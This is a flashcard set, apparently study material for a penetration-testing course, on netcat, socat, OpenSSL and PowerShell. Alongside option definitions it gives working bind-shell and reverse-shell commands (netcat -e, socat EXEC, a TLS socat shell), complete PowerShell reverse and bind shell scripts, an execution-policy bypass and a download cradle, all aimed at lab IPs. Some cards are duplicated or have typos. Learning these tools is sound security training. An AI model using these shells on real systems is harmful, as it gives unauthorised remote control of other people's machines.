Practical Tools Flashcards
5 often used practical tools.
Netcat, Socat, PowerShell, Wireshark, and Tcpdump.
What is netcat?
Netcat, first released in 1995 by Hobbit is one of the “original” network penetration testing tools and is so versatile that it lives up to the author’s designation as a hacker’s “Swiss army knife”. The clearest definition of Netcat is from Hobbit himself: a simple “utility which reads and writes data across network connections, using TCP or UDP protocols.”
How to use netcat?
nc
What ‘-n’ option do in Netcat?
Skip DNS name resolution.
What ‘-v’ option do in Netcat?
Add some verbosity.
What netcat arguments are required?
The destination IP address; and the destination port number.
How to check with netcat if TCP port 110 (the POP3 mail service) is open on 10.11.0.22.
nc -nv 10.11.0.22 110
How to use nc to connect to a POP3 service?
nc -nv 10.11.0.22 110
How to set up Netcat to listen for incoming connections on TCP port 4444?
nc -nlvp 4444
What ‘-n’ option do in netcat?
Disable DNS name resolution.
What ‘-l’ option do in netcat?
Create a listener.
What ‘-v’ option do in netcat?
Add some verbosity.
What ‘-p’ option do in netcat?
Specify the listening port number.
How to set up a listener using netcat on port 4444?
nc -nlvp 4444
How to connect to a listener using netcat on port 4444 and local address?
nc -nv 127.0.0.1 4444
What is dd in netcat?
Disk copying utility.
What is dd in netcat?
Disk copying utility.
How to use netcat, to receive a file “incoming.exe” on port 4444?
nc -nlvp 4444 > incoming.exe
How to use netcat to transfer a “wget.exe” file in “/usr/share/windows-resources/binaries” to another computer which is listening on port 4444 and have IP 10.11.0.22?
nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
What ‘-e’ option do in netcat?
Executes a program after making or receiving a successful connection.
How to check ip on windows?
ipconfig
How to use netcat to set up a bind shell on port 4444, which give remote access to command prompt?
nc -nlvp 4444 -e cmd.exe
How to use netcat to connect to a bind shell on port 4444 and IP 10.11.0.22?
nc -nv 10.11.0.22 4444
How to use nc to set up a listener in order to receive a reverse shell on port 4444?
nc -nlvp 4444
How to use netcat to send a reverse shell to IP 10.11.0.22 on port 4444?
nc -nv 10.11.0.22 4444 -e /bin/bash
How to reverse shell from Kali to Windows on port 4444, also IP on Windows Machine is 192.168.1.111?
Windows: ncat -nlvp 4444 -e cmd.exe
Linux: nc -nv 192.168.1.111 4444
Reverse shell from Windows to Kali on port 4444, Kali IP address is 172.20.176.78.
Linux: nc -nvlp 4444
Windows: ncat -nv 172.20.176.78 4444 cmd.exe
Bind shell on Kali. Use your Windows system to connect to it. Windows IP 192.168.1.111, Port 4444
Windows: ncat -nlvp 4444|
Linux: nc 192.168.1.111 4444 -e /bin/bash
Bind shell on Windows. Use your Kali machine to connect to it.
Linux: nc -lvp 4444
Windows: ncat 192.168.17.129 4444 -e cmd.exe
How to transfer a file from your Kali machine to Windows? On port 4444, from the path “/usr/share/windows-resources/binaries/wget.exe” and save it as “incoming.exe”. Windows IP address is 192.168.1.111.
Windows: ncat -nlvp 4444 > incoming.exe
Linux: nc -nv 192.168.1.111 4444 < /usr/share/windows-resources/binaries/wget.exe
How to transfer a file from Windows to Linux? On port 4444, send file “incoming.exe” and save it as “come.exe” on Linux Machine, which IP is 192.168.17.129.
Linux: nc -nlvp 4444 > come.exe
Windows: ncat -nv 192.168.17.129 4444 -e incoming.exe
What is socat?
Socat is a command-line utility that establishes two bidirectional byte streams and transfers data between them. For penetration testing, it is similar to Netcat but has additional useful features.
How to use socat to connect to IP 10.11.1.5 at port 80?
socat - TCP4:10.11.1.5:80
How to create listener on port 443 using socat?
sudo socat TCP4-LISTEN:443 STDOUT
How to use socat to transfer a file names “secret_passwords.txt” on port 443?
sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
What does “fork” option do in socat?
Fork creates a child process once a connection is made to the listener, which allows multiple connections.
What does “file:” option do in socat?
“file:” specifies the name of a file to be transferred.
What “TCP4” option means in socat?
The TCP4 option specifies IPv4.
What does “file:” in socat specifies?
The local file name to save the file to.
What does “create” specifies in socat?
That a new file will be created.
How to create a file by echo? Named “secret_passwords.txt” and contains “123456” string.
echo “123456” > “secret_passwords.txt”
How to send file “secret_passwords.txt” from Kali to Windows through socat on port 443 and save it as “received_secret_paswords.txt”? Linux IP is 172.20.176.78.
Linux: sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
Windows: socat TCP4:127.20.176.78:443 file:received_secret_passwords.txt,create
How to open secret_passwords.txt file on Windows?
type secret_passwords.txt
What “-d -d” option do in socat?
Increase verbosity (showing fatal, error, warning, and notice messages).
What does “EXEC” option in socat?
Execute the given program once a remote connection is established.
How to use socat to send a reverse shell on IP address 10.11.0.22, on port 443?
socat TCP4:10.11.0.22:443 EXEC:/bin/bash
How to use socat to create a listener on port 443, with increased verbosity and with getting standard output?
socat -d -d TCP4-LISTEN:443 STDOUT
What “req” does in “openssl”?
req: initiate a new certificate signing request
What “-newkey” does in “openssl”?
generate a new private key
What “rsa:2048” does in “openssl”?
rsa:2048: use RSA encryption with a 2,048-bit key length.
What “-nodes” does in “openssl”?
-nodes: store the private key without passphrase protection
What “-keyout” does in “openssl”?
-keyout: save the key to a file
What “-x509” does in “openssl”?
-x509: output a self-signed certificate instead of a certificate request
What “-days” does in “openssl”?
-days: set validity period in days
What “-out” does in “openssl”?
-out: save the certificate to a file
What is OpenSSL?
OpenSSL is a cryptography toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer
Security (TLS v1) network protocols and related cryptography standards required by them.
The openssl program is a command line tool for using the various cryptography functions of OpenSSL's crypto library from the shell. It can be used for
How to use socat to create an encrypted bin shell on port 443?
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
How to transfer file called ‘powercat.ps1’ from Linux machine to Windows system using socat? Path to powercat.ps1 is /usr/share/powershell-empire/empire/server/data/module_source/management/. Linux IP address is 192.168.17.129. Send it through port 443.
Linux: sudo socat TCP4-LISTEN:443,fork file:/usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1
Windows: socat TCP4:192.168.17.129:443 file:powercat.ps1,create
PowerShell
Windows PowerShell is a task-based command line shell and scripting language. It is designed specifically for system administrators and power-users to rapidly automate the administration of multiple operating systems (Linux, macOS, Unix, and Windows) and the processes related to the applications that run on them.
Windows Powershell 5.0 on which OS?
Windows Server 2016, installed by default
Windows Server 2012 R2/Windows Server 2012/Windows Server 2008 R2 with Service Pack
1/Windows 8.1/Windows 7 with Service Pack 1 (install Windows Management Framework
5.0 to run it)
Windows Powershell 4.0 on which OS?
- Windows 8.1/Windows Server 2012 R2, installed by default
- Windows 7 with Service Pack 1/Windows Server 2008 R2 with Service Pack 1 (install Windows Management Framework 4.0 to run it)
Windows PowerShell 3.0 on which OS?
- Windows 8/Windows Server 2012, installed by default
- Windows 7 with Service Pack 1/Windows Server 2008 R2 with Service Pack 1/2 (install Windows Management Framework 3.0 to run it)
How to set an “Unrestricted” execution policy on our Windows client machine in PowerShell?
Set-ExecutionPolicy Unrestricted
How to use PowerShell to download a file “wget.exe” from Linux Machine (ip: 10.11.0.4) which started apache2, and save the file on Desktop?
powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.11.0.4/wget.exe’,’C:\Users\offsec\Desktop\wget.exe’)”
What does ‘-c’ option does in PowerShell prompt?
This will execute the supplied command (wrapped in double-quotes) as if it were typed at the PowerShell prompt.
How to host wget.exe on Kali machine by Apache Service?
sudo cp /usr/share/windows-resources/binaries/wget.exe /var/www/html
sudo systemctl start apache2
PowerShell reverse shell for IP address 10.11.0.4, port 443.
$client = New-Object System.Net.Sockets.TCPClient(‘10.11.0.4’,443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
How to use PowerShell to send a reverse shell?
powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.11.0.4’,443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out- String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}
$client.Close()”
What does it do?
powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.11.0.4’,443);
Assign IP address and Port
What does it do? $stream = $client.GetStream();
Gets the network stream class.
What does it do? [byte[]]$bytes = 0..65535|%{0};
It’s used as a buffer
What does it do? while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
It’s a while loop reading the data to/from network stream.
What does it do? $client.Close()”
Close the client connection.
What is IEX?
Invoke-Expression
How to use nc to receive a reverse shell? Port 443
sudo nc -lnvp 443
How to use PowerShell to set up a bind shell?
powershell -c “
$listener = New-Object System.Net.Sockets.TcpListener(‘0.0.0.0’,443);
$listener.start();$client =
$listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘>
‘;$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush()};$client.Close();$listener.Stop()”
How to use netcat to connect to a bind shell created using PowerShell? IP address of machine is 10.11.0.22 and port is 443.
nc -nv 10.11.0.22 443
What $listener = New-Object System.Net.Sockets.TcpListener(‘0.0.0.0’,443); does?
Listener variable using System.Net.Sockets.TcpListener class, this class requires 2 arguments, the listening address and port. (‘0.0.0.0’,443)
